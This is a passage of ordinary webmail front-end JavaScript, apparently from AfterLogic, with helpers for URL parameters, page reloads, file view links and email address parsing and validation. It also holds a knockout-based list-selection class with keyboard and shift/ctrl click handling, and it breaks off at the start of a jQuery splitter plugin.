  	if (this.aGetParams === undefined)
  	{
  		aParams = (location.search !== '') ? (location.search.substr(1)).split('&') : [];
  
  		if (aParams.length > 0)
  		{
  			_.each(aParams, function (sParam) {
  				var aKeyValues = sParam.split('=');
  				aGetParams[aKeyValues[0]] = aKeyValues.length > 1 ? aKeyValues[1] : '';
  			});
  		}
  		
  		this.aGetParams = aGetParams;
  	}
  	
  	if (this.aGetParams[sParamName] !== undefined)
  	{
  		sResult = this.aGetParams[sParamName];
  	}
  
  	return sResult;
  };
  
  /**
   * Obtains application path from location object.
   * 
   * @return {string}
   */
  Utils.Common.getAppPath = function ()
  {
  	var sAppOrigin = window.location.origin || window.location.protocol + '//' + window.location.host;
  	
  	return sAppOrigin + window.location.pathname;
  };
  
  /**
   * Clears search and hash strings and reloads page.
   * 
   * @param {boolean} bOnlyReload If **true** doesn't clear search and hash in location.
   * @param {boolean} bClearSearch If **true** clears search string in location.
   */
  Utils.Common.clearAndReloadLocation = function (bOnlyReload, bClearSearch)
  {
  	if (!bOnlyReload && (window.location.search !== '' || window.location.hash !== ''))
  	{
  		var sNewHref = Utils.Common.getAppPath();
  
  		if (!bClearSearch && window.location.search !== '')
  		{
  			sNewHref += window.location.search;
  		}
  
  		if ('replaceState' in history)
  		{
  			history.replaceState('', document.title, sNewHref);
  			window.location.reload(true);
  		}
  		else
  		{
  			window.location.href = sNewHref;
  		}
  	}
  	else
  	{
  		window.location.reload();
  	}
  };
  
  /**
   * Can be connected to external applications.
   */
  
  Utils.File = {};
  
  /**
   * Gets link for view by hash.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * @param {boolean=} bIsExt = false
   * @param {string=} sTenatHash = ''
   * 
   * @return {string}
   */
  Utils.File.getViewLinkByHash = function (iAccountId, sHash, bIsExt, sTenatHash)
  {
  	var
  		sViewLink = '?/Raw/View/' + iAccountId + '/' + sHash,
  		sExtPart = (bIsExt === true) ? '/1' : '/0',
  		sTenantPart = (typeof sTenatHash === 'string' && sTenatHash !== '') ? '/' + sTenatHash : ''
  	;
  	return sViewLink + sExtPart + sTenantPart;
  };
  
  /**
   * Used in AfterLogicApi, OpenPgpKey, Inputosaurus, CComposeViewModel, CHtmlEditorViewModel, CalendarSharePopup.
   * Included in main, mobile, helpdesk, calendar_pub, filestorage_pub applications.
   * 
   * @requires jquery
   * @requires underscore
   */
  
  Utils.Address = {};
  
  /**
   * Checks if specified email is correct.
   * Used in AfterLogicApi, CHtmlEditorViewModel.
   * 
   * @param {string} sValue String to check.
   * 
   * @return {boolean}
   */
  Utils.Address.isCorrectEmail = function (sValue)
  {
  	return !!(sValue.match(/^[A-Z0-9\"!#\$%\^\{\}`~&'\+\-=_\.]+@[A-Z0-9\.\-]+$/i));
  };
  
  /**
   * Used in CAccountModel, CAddressModel, CIdentityModel, CContactListItemModel, CContactModel, CFetcherModel, CHelpdeskViewModel, CComposeViewModel.
   * 
   * @param {string} sName
   * @param {string} sEmail
   * @returns {string}
   */
  Utils.Address.getFullEmail = function (sName, sEmail)
  {
  	var sFull = '';
  	
  	if (sEmail.length > 0)
  	{
  		if (sName.length > 0)
  		{
  			if (Utils.Address.isCorrectEmail(sName) || sName.indexOf(',') !== -1)
  			{
  				sFull = '"' + sName + '" <' + sEmail + '>';
  			}
  			else
  			{
  				sFull = sName + ' <' + sEmail + '>';
  			}
  		}
  		else
  		{
  			sFull = sEmail;
  		}
  	}
  	else
  	{
  		sFull = sName;
  	}
  	
  	return sFull;
  };
  
  /**
   * Obtains Recipient-object which include "name", "email" and "fullEmail" fields from string.
   * Used in AfterLogicApi, OpenPgpKey, Inputosaurus, CComposeViewModel.
   * 
   * @param {string} sFullEmail String includes only name, only email or both name and email.
   * @param {boolean} bIgnoreQuotesInName
   *
   * @return {Object}
   */
  Utils.Address.getEmailParts = function (sFullEmail, bIgnoreQuotesInName)
  {
  	var
  		iQuote1Pos = sFullEmail.indexOf('"'),
  		iQuote2Pos = sFullEmail.indexOf('"', iQuote1Pos + 1),
  		iLeftBrocketPos = sFullEmail.indexOf('<', iQuote2Pos),
  		iPrevLeftBroketPos = -1,
  		iRightBrocketPos = -1,
  		sName = '',
  		sEmail = ''
  	;
  
  	while (iLeftBrocketPos !== -1)
  	{
  		iPrevLeftBroketPos = iLeftBrocketPos;
  		iLeftBrocketPos = sFullEmail.indexOf('<', iLeftBrocketPos + 1);
  	}
  
  	iLeftBrocketPos = iPrevLeftBroketPos;
  	iRightBrocketPos = sFullEmail.indexOf('>', iLeftBrocketPos + 1);
  
  	if (iLeftBrocketPos === -1)
  	{
  		sEmail = $.trim(sFullEmail);
  	}
  	else
  	{
  		iQuote1Pos = bIgnoreQuotesInName ? -1 : iQuote1Pos;
  		sName = (iQuote1Pos === -1) ?
  			$.trim(sFullEmail.substring(0, iLeftBrocketPos)) :
  			$.trim(sFullEmail.substring(iQuote1Pos + 1, iQuote2Pos));
  
  		sEmail = $.trim(sFullEmail.substring(iLeftBrocketPos + 1, iRightBrocketPos));
  	}
  
  	return {
  		'name': sName,
  		'email': sEmail,
  		'fullEmail': Utils.Address.getFullEmail(sName, sEmail)
  	};
  };
  
  /**
   * Obtains list of Recipient-objects which include "name", "email" and "fullEmail" fields from string.
   * Used in AfterLogicApi, CalendarSharePopup, Inputosaurus.
   * 
   * @param {string} sRecipients Includes recipients, separated by separators.
   * @param {boolean} bIncludeLastIncorrectEmail If true, last recipient will be included to list, even if it is not correct email.
   * 
   * @returns {Array}
   */
  Utils.Address.getArrayRecipients = function (sRecipients, bIncludeLastIncorrectEmail)
  {
  	var
  		aSeparators = [',', ';', ' '],
  		sStartRcp = '',
  		sEndRcp = sRecipients,
  		iPos = 0,
  		iNextPos = 0,
  		sFullEmail = '',
  		oRecipient = null,
  		aRecipients = []
  	;
  	
  	while (sEndRcp.length > 0)
  	{
  		iPos = Utils.Address._getFirstSeparatorPosition(sEndRcp, aSeparators);
  		iNextPos = iPos;
  		
  		while (_.indexOf(aSeparators, sEndRcp[iNextPos + 1]) !== -1)
  		{
  			iNextPos++;
  		}
  		
  		if (iPos === -1)
  		{
  			sFullEmail = sStartRcp + sEndRcp;
  			oRecipient = Utils.Address.getEmailParts(sFullEmail);
  			if (bIncludeLastIncorrectEmail || Utils.Address.isCorrectEmail(oRecipient.email))
  			{
  				aRecipients.push(oRecipient);
  			}
  			sEndRcp = '';
  		}
  		else
  		{
  			sFullEmail = sStartRcp + sEndRcp.substring(0, iPos);
  			oRecipient = Utils.Address.getEmailParts(sFullEmail);
  			if (Utils.Address.isCorrectEmail(oRecipient.email))
  			{
  				aRecipients.push(oRecipient);
  				sStartRcp = '';
  			}
  			else
  			{
  				sStartRcp += sEndRcp.substring(0, iNextPos + 1);
  			}
  			sEndRcp = sEndRcp.substring(iNextPos + 1);
  		}
  	}
  	
  	return aRecipients;
  };
  
  /**
   * Obtains position number of first separator-symbol in string. Avaliable separator symbols are specified in array.
   * 
   * @param {string} sValue String for search separator-symbol in.
   * @param {Array} aSeparators List of separators.
   * @returns {number}
   */
  Utils.Address._getFirstSeparatorPosition = function (sValue, aSeparators)
  {
  	var iPos = -1;
  
  	_.each(aSeparators, function (sSep) {
  		var iSepPos = sValue.indexOf(sSep);
  		if (iSepPos !== -1 && (iPos === -1 || iSepPos < iPos))
  		{
  			iPos = iSepPos;
  		}
  	});
  
  	return iPos;
  };
  
  /**
   * Used in CComposeViewModel.
   * 
   * @param {string} sAddresses
   * 
   * @return {Array}
   */
  Utils.Address.getIncorrectEmailsFromAddressString = function (sAddresses)
  {
  	var
  		aEmails = sAddresses.replace(/"[^"]*"/g, '').replace(/;/g, ',').split(','),
  		aIncorrectEmails = [],
  		iIndex = 0,
  		iLen = aEmails.length,
  		sFullEmail = '',
  		oEmailParts = null
  	;
  
  	for (; iIndex < iLen; iIndex++)
  	{
  		sFullEmail = $.trim(aEmails[iIndex]);
  		if (sFullEmail.length > 0)
  		{
  			oEmailParts = Utils.Address.getEmailParts($.trim(aEmails[iIndex]));
  			if (!Utils.Address.isCorrectEmail(oEmailParts.email))
  			{
  				aIncorrectEmails.push(oEmailParts.email);
  			}
  		}
  	}
  
  	return aIncorrectEmails;
  };
  
  
  /**
   * @param {Function} list (knockout)
   * @param {Function=} fSelectCallback
   * @param {Function=} fDeleteCallback
   * @param {Function=} fDblClickCallback
   * @param {Function=} fEnterCallback
   * @param {Function=} multiplyLineFactor (knockout)
   * @param {boolean=} bResetCheckedOnClick = false
   * @param {boolean=} bCheckOnSelect = false
   * @param {boolean=} bUnselectOnCtrl = false
   * @param {boolean=} bDisableMultiplySelection = false
   * @constructor
   */
  function CSelector(list, fSelectCallback, fDeleteCallback, fDblClickCallback, fEnterCallback, multiplyLineFactor,
  	bResetCheckedOnClick, bCheckOnSelect, bUnselectOnCtrl, bDisableMultiplySelection)
  {
  	this.fBeforeSelectCallback = null;
  	this.fSelectCallback = fSelectCallback || function() {};
  	this.fDeleteCallback = fDeleteCallback || function() {};
  	this.fDblClickCallback = (!bMobileApp && fDblClickCallback) ? fDblClickCallback : function() {};
  	this.fEnterCallback = fEnterCallback || function() {};
  	this.bResetCheckedOnClick = Utils.isUnd(bResetCheckedOnClick) ? false : !!bResetCheckedOnClick;
  	this.bCheckOnSelect = Utils.isUnd(bCheckOnSelect) ? false : !!bCheckOnSelect;
  	this.bUnselectOnCtrl = Utils.isUnd(bUnselectOnCtrl) ? false : !!bUnselectOnCtrl;
  	this.bDisableMultiplySelection = Utils.isUnd(bDisableMultiplySelection) ? false : !!bDisableMultiplySelection;
  
  	this.useKeyboardKeys = ko.observable(false);
  
  	this.list = ko.observableArray([]);
  
  	if (list && list['subscribe'])
  	{
  		list['subscribe'](function (mValue) {
  			this.list(mValue);
  		}, this);
  	}
  	
  	this.multiplyLineFactor = multiplyLineFactor;
  	
  	this.oLast = null;
  	this.oListScope = null;
  	this.oScrollScope = null;
  
  	this.iTimer = 0;
  	this.iFactor = 1;
  
  	this.KeyUp = Enums.Key.Up;
  	this.KeyDown = Enums.Key.Down;
  	this.KeyLeft = Enums.Key.Up;
  	this.KeyRight = Enums.Key.Down;
  
  	if (this.multiplyLineFactor)
  	{
  		if (this.multiplyLineFactor.subscribe)
  		{
  			this.multiplyLineFactor.subscribe(function (iValue) {
  				this.iFactor = 0 < iValue ? iValue : 1;
  			}, this);
  		}
  		else
  		{
  			this.iFactor = Utils.pInt(this.multiplyLineFactor);
  		}
  
  		this.KeyUp = Enums.Key.Up;
  		this.KeyDown = Enums.Key.Down;
  		this.KeyLeft = Enums.Key.Left;
  		this.KeyRight = Enums.Key.Right;
  
  		if ($('html').hasClass('rtl'))
  		{
  			this.KeyLeft = Enums.Key.Right;
  			this.KeyRight = Enums.Key.Left;
  		}
  	}
  
  	this.sActionSelector = '';
  	this.sSelectabelSelector = '';
  	this.sCheckboxSelector = '';
  
  	var self = this;
  
  	// reading returns a list of checked items.
  	// recording (bool) puts all checked, or unchecked.
  	this.listChecked = ko.computed({
  		'read': function () {
  			var aList = _.filter(this.list(), function (oItem) {
  				var
  					bC = oItem.checked(),
  					bS = oItem.selected()
  				;
  
  				return bC || (self.bCheckOnSelect && bS);
  			});
  
  			return aList;
  		},
  		'write': function (bValue) {
  			bValue = !!bValue;
  			_.each(this.list(), function (oItem) {
  				oItem.checked(bValue);
  			});
  			this.list.valueHasMutated();
  		},
  		'owner': this
  	});
  
  	this.checkAll = ko.computed({
  		'read': function () {
  			return 0 < this.listChecked().length;
  		},
  
  		'write': function (bValue) {
  			this.listChecked(!!bValue);
  		},
  		'owner': this
  	});
  
  	this.selectorHook = ko.observable(null);
  
  	this.selectorHook.subscribe(function () {
  		var oPrev = this.selectorHook();
  		if (oPrev)
  		{
  			oPrev.selected(false);
  		}
  	}, this, 'beforeChange');
  
  	this.selectorHook.subscribe(function (oGroup) {
  		if (oGroup)
  		{
  			oGroup.selected(true);
  		}
  	}, this);
  
  	this.itemSelected = ko.computed({
  
  		'read': this.selectorHook,
  
  		'write': function (oItemToSelect) {
  
  			this.selectorHook(oItemToSelect);
  
  			if (oItemToSelect)
  			{
  //				self.scrollToSelected();
  				this.oLast = oItemToSelect;
  			}
  		},
  		'owner': this
  	});
  
  	this.list.subscribe(function (aList) {
  		if (_.isArray(aList))
  		{
  			var	oSelected = this.itemSelected();
  			if (oSelected)
  			{
  				if (!_.find(aList, function (oItem) {
  					return oSelected === oItem;
  				}))
  				{
  					this.itemSelected(null);
  				}
  			}
  		}
  		else
  		{
  			this.itemSelected(null);
  		}
  	}, this);
  
  	this.listCheckedOrSelected = ko.computed({
  		'read': function () {
  			var
  				oSelected = this.itemSelected(),
  				aChecked = this.listChecked()
  			;
  			return 0 < aChecked.length ? aChecked : (oSelected ? [oSelected] : []);
  		},
  		'write': function (bValue) {
  			if (!bValue)
  			{
  				this.itemSelected(null);
  				this.listChecked(false);
  			}
  			else
  			{
  				this.listChecked(true);
  			}
  		},
  		'owner': this
  	});
  
  	this.listCheckedAndSelected = ko.computed({
  		'read': function () {
  			var
  				aResult = [],
  				oSelected = this.itemSelected(),
  				aChecked = this.listChecked()
  			;
  
  			if (aChecked)
  			{
  				aResult = aChecked.slice(0);
  			}
  
  			if (oSelected && _.indexOf(aChecked, oSelected) === -1)
  			{
  				aResult.push(oSelected);
  			}
  
  			return aResult;
  		},
  		'write': function (bValue) {
  			if (!bValue)
  			{
  				this.itemSelected(null);
  				this.listChecked(false);
  			}
  			else
  			{
  				this.listChecked(true);
  			}
  		},
  		'owner': this
  	});
  
  	this.isIncompleteChecked = ko.computed(function () {
  		var
  			iM = this.list().length,
  			iC = this.listChecked().length
  		;
  		return 0 < iM && 0 < iC && iM > iC;
  	}, this);
  
  	this.onKeydownBinded = _.bind(this.onKeydown, this);
  }
  
  CSelector.prototype.iTimer = 0;
  CSelector.prototype.bResetCheckedOnClick = false;
  CSelector.prototype.bCheckOnSelect = false;
  CSelector.prototype.bUnselectOnCtrl = false;
  CSelector.prototype.bDisableMultiplySelection = false;
  
  /**
   * @param {Function} fBeforeSelectCallback
   */
  CSelector.prototype.setBeforeSelectCallback = function (fBeforeSelectCallback)
  {
  	this.fBeforeSelectCallback = fBeforeSelectCallback || null;
  };
  
  CSelector.prototype.getLastOrSelected = function ()
  {
  	var
  		iCheckedCount = 0,
  		oLastSelected = null
  	;
  	
  	_.each(this.list(), function (oItem) {
  		if (oItem.checked())
  		{
  			iCheckedCount++;
  		}
  
  		if (oItem.selected())
  		{
  			oLastSelected = oItem;
  		}
  	});
  
  	return 0 === iCheckedCount && oLastSelected ? oLastSelected : this.oLast;
  };
  
  /**
   * @return {boolean}
   */
  /*CSelector.prototype.inFocus = function ()
  {
  	var mTagName = document && document.activeElement ? document.activeElement.tagName : null;
  	return 'INPUT' === mTagName || 'TEXTAREA' === mTagName || 'IFRAME' === mTagName;
  };*/
  
  /**
   * @param {string} sActionSelector css-selector for the active for pressing regions of the list
   * @param {string} sSelectabelSelector css-selector to the item that was selected
   * @param {string} sCheckboxSelector css-selector to the element that checkbox in the list
   * @param {*} oListScope
   * @param {*} oScrollScope
   */
  CSelector.prototype.initOnApplyBindings = function (sActionSelector, sSelectabelSelector, sCheckboxSelector, oListScope, oScrollScope)
  {
  	$(document).on('keydown', this.onKeydownBinded);
  
  	this.oListScope = oListScope;
  	this.oScrollScope = oScrollScope;
  	this.sActionSelector = sActionSelector;
  	this.sSelectabelSelector = sSelectabelSelector;
  	this.sCheckboxSelector = sCheckboxSelector;
  
  	var
  		self = this,
  
  		fEventClickFunction = function (oLast, oItem, oEvent) {
  
  			var
  				iIndex = 0,
  				iLength = 0,
  				oListItem = null,
  				bChangeRange = false,
  				bIsInRange = false,
  				aList = [],
  				bChecked = false
  			;
  
  			oItem = oItem ? oItem : null;
  			if (oEvent && oEvent.shiftKey)
  			{
  				if (null !== oItem && null !== oLast && oItem !== oLast)
  				{
  					aList = self.list();
  					bChecked = oItem.checked();
  
  					for (iIndex = 0, iLength = aList.length; iIndex < iLength; iIndex++)
  					{
  						oListItem = aList[iIndex];
  
  						bChangeRange = false;
  						if (oListItem === oLast || oListItem === oItem)
  						{
  							bChangeRange = true;
  						}
  
  						if (bChangeRange)
  						{
  							bIsInRange = !bIsInRange;
  						}
  
  						if (bIsInRange || bChangeRange)
  						{
  							oListItem.checked(bChecked);
  						}
  					}
  				}
  			}
  
  			if (oItem)
  			{
  				self.oLast = oItem;
  			}
  		}
  	;
  
  	$(this.oListScope).on('dblclick', sActionSelector, function (oEvent) {
  		var oItem = ko.dataFor(this);
  		if (oItem && oEvent && !oEvent.ctrlKey && !oEvent.altKey && !oEvent.shiftKey)
  		{
  			self.onDblClick(oItem);
  		}
  	});
  
  	if (bMobileDevice)
  	{
  		$(this.oListScope).on('touchstart', sActionSelector, function (e) {
  
  			if (!e)
  			{
  				return;
  			}
  
  			var
  				t2 = e.timeStamp,
  				t1 = $(this).data('lastTouch') || t2,
  				dt = t2 - t1,
  				fingers = e.originalEvent && e.originalEvent.touches ? e.originalEvent.touches.length : 0
  			;
  
  			$(this).data('lastTouch', t2);
  			if (!dt || dt > 250 || fingers > 1)
  			{
  				return;
  			}
  
  			e.preventDefault();
  			$(this).trigger('dblclick');
  		});
  	}
  
  	$(this.oListScope).on('click', sActionSelector, function (oEvent) {
  
  		var
  			bClick = true,
  			oSelected = null,
  			oLast = self.getLastOrSelected(),
  			oItem = ko.dataFor(this)
  		;
  
  		if (oItem && oEvent)
  		{
  			if (oEvent.shiftKey)
  			{
  				bClick = false;
  				if (!self.bDisableMultiplySelection)
  				{
  					if (null === self.oLast)
  					{
  						self.oLast = oItem;
  					}
  
  
  					oItem.checked(!oItem.checked());
  					fEventClickFunction(oLast, oItem, oEvent);
  				}
  			}
  			else if (oEvent.ctrlKey)
  			{
  				bClick = false;
  				if (!self.bDisableMultiplySelection)
  				{
  					self.oLast = oItem;
  					oSelected = self.itemSelected();
  					if (oSelected && !oSelected.checked() && !oItem.checked())
  					{
  						oSelected.checked(true);
  					}
  
  					if (self.bUnselectOnCtrl && oItem === self.itemSelected())
  					{
  						oItem.checked(!oItem.selected());
  						self.itemSelected(null);
  					}
  					else
  					{
  						oItem.checked(!oItem.checked());
  					}
  				}
  			}
  
  			if (bClick)
  			{
  				self.onSelect(oItem);
  				self.scrollToSelected();
  			}
  		}
  	});
  
  	$(this.oListScope).on('click', sCheckboxSelector, function (oEvent) {
  
  		var oItem = ko.dataFor(this);
  		if (oItem && oEvent && !self.bDisableMultiplySelection)
  		{
  			if (oEvent.shiftKey)
  			{
  				if (null === self.oLast)
  				{
  					self.oLast = oItem;
  				}
  
  				fEventClickFunction(self.getLastOrSelected(), oItem, oEvent);
  			}
  			else
  			{
  				self.oLast = oItem;
  			}
  		}
  
  		if (oEvent && oEvent.stopPropagation)
  		{
  			oEvent.stopPropagation();
  		}
  	});
  
  	$(this.oListScope).on('dblclick', sCheckboxSelector, function (oEvent) {
  		if (oEvent && oEvent.stopPropagation)
  		{
  			oEvent.stopPropagation();
  		}
  	});
  };
  
  /**
   * @param {Object} oSelected
   * @param {number} iEventKeyCode
   * 
   * @return {Object}
   */
  CSelector.prototype.getResultSelection = function (oSelected, iEventKeyCode)
  {
  	var
  		self = this,
  		bStop = false,
  		bNext = false,
  		oResult = null,
  		iPageStep = this.iFactor,
  		bMultiply = !!this.multiplyLineFactor,
  		iIndex = 0,
  		iLen = 0,
  		aList = []
  	;
  
  	if (!oSelected && -1 < Utils.inArray(iEventKeyCode, [this.KeyUp, this.KeyDown, this.KeyLeft, this.KeyRight,
  		Enums.Key.PageUp, Enums.Key.PageDown, Enums.Key.Home, Enums.Key.End]))
  	{
  		aList = this.list();
  		if (aList && 0 < aList.length)
  		{
  			if (-1 < Utils.inArray(iEventKeyCode, [this.KeyDown, this.KeyRight, Enums.Key.PageUp, Enums.Key.Home]))
  			{
  				oResult = aList[0];
  			}
  			else if (-1 < Utils.inArray(iEventKeyCode, [this.KeyUp, this.KeyLeft, Enums.Key.PageDown, Enums.Key.End]))
  			{
  				oResult = aList[aList.length - 1];
  			}
  		}
  	}
  	else if (oSelected)
  	{
  		aList = this.list();
  		iLen = aList ? aList.length : 0;
  
  		if (0 < iLen)
  		{
  			if (
  				Enums.Key.Home === iEventKeyCode || Enums.Key.PageUp === iEventKeyCode ||
  				Enums.Key.End === iEventKeyCode || Enums.Key.PageDown === iEventKeyCode ||
  				(bMultiply && (Enums.Key.Left === iEventKeyCode || Enums.Key.Right === iEventKeyCode)) ||
  				(!bMultiply && (Enums.Key.Up === iEventKeyCode || Enums.Key.Down === iEventKeyCode))
  			)
  			{
  				_.each(aList, function (oItem) {
  					if (!bStop)
  					{
  						switch (iEventKeyCode) {
  							case self.KeyUp:
  							case self.KeyLeft:
  								if (oSelected === oItem)
  								{
  									bStop = true;
  								}
  								else
  								{
  									oResult = oItem;
  								}
  								break;
  							case Enums.Key.Home:
  							case Enums.Key.PageUp:
  								oResult = oItem;
  								bStop = true;
  								break;
  							case self.KeyDown:
  							case self.KeyRight:
  								if (bNext)
  								{
  									oResult = oItem;
  									bStop = true;
  								}
  								else if (oSelected === oItem)
  								{
  									bNext = true;
  								}
  								break;
  							case Enums.Key.End:
  							case Enums.Key.PageDown:
  								oResult = oItem;
  								break;
  						}
  					}
  				});
  			}
  			else if (bMultiply && this.KeyDown === iEventKeyCode)
  			{
  				for (; iIndex < iLen; iIndex++)
  				{
  					if (oSelected === aList[iIndex])
  					{
  						iIndex += iPageStep;
  						if (iLen - 1 < iIndex)
  						{
  							iIndex -= iPageStep;
  						}
  
  						oResult = aList[iIndex];
  						break;
  					}
  				}
  			}
  			else if (bMultiply && this.KeyUp === iEventKeyCode)
  			{
  				for (iIndex = iLen; iIndex >= 0; iIndex--)
  				{
  					if (oSelected === aList[iIndex])
  					{
  						iIndex -= iPageStep;
  						if (0 > iIndex)
  						{
  							iIndex += iPageStep;
  						}
  
  						oResult = aList[iIndex];
  						break;
  					}
  				}
  			}
  		}
  	}
  
  	return oResult;
  };
  
  /**
   * @param {Object} oResult
   * @param {Object} oSelected
   * @param {number} iEventKeyCode
   */
  CSelector.prototype.shiftClickResult = function (oResult, oSelected, iEventKeyCode)
  {
  	if (oSelected)
  	{
  		var
  			bMultiply = !!this.multiplyLineFactor,
  			bInRange = false,
  			bSelected = false
  		;
  
  		if (-1 < Utils.inArray(iEventKeyCode,
  			bMultiply ? [Enums.Key.Left, Enums.Key.Right] : [Enums.Key.Up, Enums.Key.Down]))
  		{
  			oSelected.checked(!oSelected.checked());
  		}
  		else if (-1 < Utils.inArray(iEventKeyCode, bMultiply ?
  			[Enums.Key.Up, Enums.Key.Down, Enums.Key.PageUp, Enums.Key.PageDown, Enums.Key.Home, Enums.Key.End] :
  			[Enums.Key.Left, Enums.Key.Right, Enums.Key.PageUp, Enums.Key.PageDown, Enums.Key.Home, Enums.Key.End]
  		))
  		{
  			bSelected = !oSelected.checked();
  
  			_.each(this.list(), function (oItem) {
  				var Add = false;
  				if (oItem === oResult || oSelected === oItem)
  				{
  					bInRange = !bInRange;
  					Add = true;
  				}
  
  				if (bInRange || Add)
  				{
  					oItem.checked(bSelected);
  					Add = false;
  				}
  			});
  			
  			if (bMultiply && oResult && (iEventKeyCode === Enums.Key.Up || iEventKeyCode === Enums.Key.Down))
  			{
  				oResult.checked(!oResult.checked());
  			}
  		}
  	}	
  };
  
  /**
   * @param {number} iEventKeyCode
   * @param {boolean} bShiftKey
   */
  CSelector.prototype.clickNewSelectPosition = function (iEventKeyCode, bShiftKey)
  {
  	var
  		self = this,
  		iTimeout = 0,
  		oResult = null,
  		oSelected = this.itemSelected()
  	;
  
  	oResult = this.getResultSelection(oSelected, iEventKeyCode);
  
  	if (oResult)
  	{
  		if (bShiftKey)
  		{
  			this.shiftClickResult(oResult, oSelected, iEventKeyCode);
  		}
  
  		if (oResult && this.fBeforeSelectCallback)
  		{
  			this.fBeforeSelectCallback(oResult, function (bResult) {
  				if (bResult)
  				{
  					self.itemSelected(oResult);
  
  					iTimeout = 0 === self.iTimer ? 50 : 150;
  					if (0 !== self.iTimer)
  					{
  						window.clearTimeout(self.iTimer);
  					}
  
  					self.iTimer = window.setTimeout(function () {
  						self.iTimer = 0;
  						self.onSelect(oResult, false);
  					}, iTimeout);
  
  					this.scrollToSelected();
  				}
  			});
  
  			this.scrollToSelected();
  		}
  		else
  		{
  			this.itemSelected(oResult);
  
  			iTimeout = 0 === this.iTimer ? 50 : 150;
  			if (0 !== this.iTimer)
  			{
  				window.clearTimeout(this.iTimer);
  			}
  
  			this.iTimer = window.setTimeout(function () {
  				self.iTimer = 0;
  				self.onSelect(oResult);
  			}, iTimeout);
  
  			this.scrollToSelected();
  		}
  	}
  	else if (oSelected)
  	{
  		if (bShiftKey && (-1 < Utils.inArray(iEventKeyCode, [this.KeyUp, this.KeyDown, this.KeyLeft, this.KeyRight,
  			Enums.Key.PageUp, Enums.Key.PageDown, Enums.Key.Home, Enums.Key.End])))
  		{
  			oSelected.checked(!oSelected.checked());
  		}
  	}
  };
  
  /**
   * @param {Object} oEvent
   * 
   * @return {boolean}
   */
  CSelector.prototype.onKeydown = function (oEvent)
  {
  	var
  		bResult = true,
  		iCode = 0
  	;
  
  	if (this.useKeyboardKeys() && oEvent && !Utils.isTextFieldFocused() && !App.Screens.hasOpenedMaximizedPopups())
  	{
  		iCode = oEvent.keyCode;
  		if (!oEvent.ctrlKey &&
  			(
  				this.KeyUp === iCode || this.KeyDown === iCode ||
  				this.KeyLeft === iCode || this.KeyRight === iCode ||
  				Enums.Key.PageUp === iCode || Enums.Key.PageDown === iCode ||
  				Enums.Key.Home === iCode || Enums.Key.End === iCode
  			)
  		)
  		{
  			this.clickNewSelectPosition(iCode, oEvent.shiftKey);
  			bResult = false;
  		}
  		else if (Enums.Key.Del === iCode && !oEvent.ctrlKey && !oEvent.shiftKey)
  		{
  			if (0 < this.list().length)
  			{
  				this.onDelete();
  				bResult = false;
  			}
  		}
  		else if (Enums.Key.Enter === iCode)
  		{
  			if (0 < this.list().length && !oEvent.ctrlKey)
  			{
  				this.onEnter(this.itemSelected());
  				bResult = false;
  			}
  		}
  		else if (oEvent.ctrlKey && !oEvent.altKey && !oEvent.shiftKey && Enums.Key.a === iCode)
  		{
  			this.checkAll(!(this.checkAll() && !this.isIncompleteChecked()));
  			bResult = false;
  		}
  	}
  
  	return bResult;
  };
  
  CSelector.prototype.onDelete = function ()
  {
  	this.fDeleteCallback.call(this, this.listCheckedOrSelected());
  };
  
  /**
   * @param {Object} oItem
   */
  CSelector.prototype.onEnter = function (oItem)
  {
  	var self = this;
  	if (oItem && this.fBeforeSelectCallback)
  	{
  		this.fBeforeSelectCallback(oItem, function (bResult) {
  			if (bResult)
  			{
  				self.itemSelected(oItem);
  				self.fEnterCallback.call(this, oItem);
  			}
  		});
  	}
  	else
  	{
  		this.itemSelected(oItem);
  		this.fEnterCallback.call(this, oItem);
  	}
  };
  
  /**
   * @param {Object} oItem
   */
  CSelector.prototype.selectionFunc = function (oItem)
  {
  	this.itemSelected(null);
  	if (this.bResetCheckedOnClick)
  	{
  		this.listChecked(false);
  	}
  
  	this.itemSelected(oItem);
  	this.fSelectCallback.call(this, oItem);
  };
  
  /**
   * @param {Object} oItem
   * @param {boolean=} bCheckBefore = true
   */
  CSelector.prototype.onSelect = function (oItem, bCheckBefore)
  {
  	bCheckBefore = Utils.isUnd(bCheckBefore) ? true : !!bCheckBefore;
  	if (this.fBeforeSelectCallback && bCheckBefore)
  	{
  		var self = this;
  		this.fBeforeSelectCallback(oItem, function (bResult) {
  			if (bResult)
  			{
  				self.selectionFunc(oItem);
  			}
  		});
  	}
  	else
  	{
  		this.selectionFunc(oItem);
  	}
  };
  
  /**
   * @param {Object} oItem
   */
  CSelector.prototype.onDblClick = function (oItem)
  {
  	this.fDblClickCallback.call(this, oItem);
  };
  
  CSelector.prototype.koCheckAll = function ()
  {
  	return ko.computed({
  		'read': this.checkAll,
  		'write': this.checkAll,
  		'owner': this
  	});
  };
  
  CSelector.prototype.koCheckAllIncomplete = function ()
  {
  	return ko.computed({
  		'read': this.isIncompleteChecked,
  		'write': this.isIncompleteChecked,
  		'owner': this
  	});
  };
  
  /**
   * @return {boolean}
   */
  CSelector.prototype.scrollToSelected = function ()
  {
  	if (!this.oListScope || !this.oScrollScope)
  	{
  		return false;
  	}
  
  	var
  		iOffset = 20,
  		oSelected = $(this.sSelectabelSelector, this.oScrollScope),
  		oPos = oSelected.position(),
  		iVisibleHeight = this.oScrollScope.height(),
  		iSelectedHeight = oSelected.outerHeight()
  	;
  
  	if (oPos && (oPos.top < 0 || oPos.top + iSelectedHeight > iVisibleHeight))
  	{
  		if (oPos.top < 0)
  		{
  			this.oScrollScope.scrollTop(this.oScrollScope.scrollTop() + oPos.top - iOffset);
  		}
  		else
  		{
  			this.oScrollScope.scrollTop(this.oScrollScope.scrollTop() + oPos.top - iVisibleHeight + iSelectedHeight + iOffset);
  		}
  
  		return true;
  	}
  
  	return false;
  };
  
  (function ($) {
   
   /**
    * @param {{name:string,resizeFunc:Function}} args
    */
   $.fn.splitter = function(args) {
  
  	args = args || {};
  
  	return this.each(function () {
  		
  		var
  			bIsMouseSplit = false,
  			bCollapse = args.collapse ? args.collapse : false,
  			storageKey = args.name,
  			initPosition = 0,
  			nSize = 0,
  			nPreviousNewPosition = 0,
  			oLastState = {},
  			oLastStateReserve = {},
  			startSplitMouse = function (e) {
  				bIsMouseSplit = true;
  				bar.addClass(opts['activeClass']);
  
  				opts['_posSplit'] = -((rtl ? splitter._overallWidth - e[opts['eventPos']] : e[opts['eventPos']]) - panes.get(0)[opts['pxSplit']] );
  				
  				$('body')
  					.attr({'unselectable': "on"})
  					.addClass('unselectable');
  
  				$(document)
